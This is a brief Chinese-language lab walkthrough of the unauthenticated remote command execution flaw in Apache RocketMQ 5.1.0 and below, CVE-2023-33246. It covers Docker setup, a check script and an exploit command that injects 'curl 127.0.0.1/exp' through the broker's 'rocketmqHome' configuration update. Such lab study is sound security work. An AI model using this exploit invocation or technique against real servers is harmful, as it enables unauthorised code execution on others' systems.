Apache RocketMQ 是最流行且广泛使用的分布式消息和流处理平台之一。 最近报道了 Apache RocketMQ 中存在一个命令执行漏洞,影响版本 5.1.0 及以下。远程未认证用户可以通过使用更新配置功能来利用此漏洞,以与 RocketMQ 用户进程相同的访问级别执行命令。
RocketMQ 中的命名服务器充当整个消息基础设施的注册表或元数据存储。
它维护有关主题、队列以及负责处理消息的代理的信息。
客户端(生产者和消费者)使用命名服务器来发现需要通信的代理,以便发布或消费消息。
命名服务器负责 RocketMQ 集群内的动态路由、负载均衡和故障转移。
它监听特定端口(默认为 9876 端口),接收来自客户端和代理的请求。
代理是 RocketMQ 系统的主力,负责存储和管理消息。
每个代理管理一个或多个主题,这些主题是消息通信的逻辑通道。
生产者将消息发布到特定主题,消费者订阅主题以接收消息。
代理处理消息的存储、复制并基于订阅和消息消费模式将消息传递给消费者。
它们为每个主题分区维护消息队列,确保高效的消息处理和传递。
代理与命名服务器通信以注册自身、更新元数据并参与集群的路由和负载均衡机制。
通过 Docker 设置本地 RocketMQ 环境
docker pull apache/rocketmq:4.9.4
### 启动命名服务器
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### 启动代理
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

当接收到关联 RequestCode 的代码 '25' 的请求时,会触发 UpdateBrokerConfig() 函数
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

我们利用 broker.conf 文件中找到的 "rocketmqHome" 服务器配置。此配置设置在 RocketMQ 用户进程中环境变量 ROCKETMQ_HOME 的值。通过精心构造这个值,我们可以执行任意选择的命令。

这就是这个漏洞的工作原理。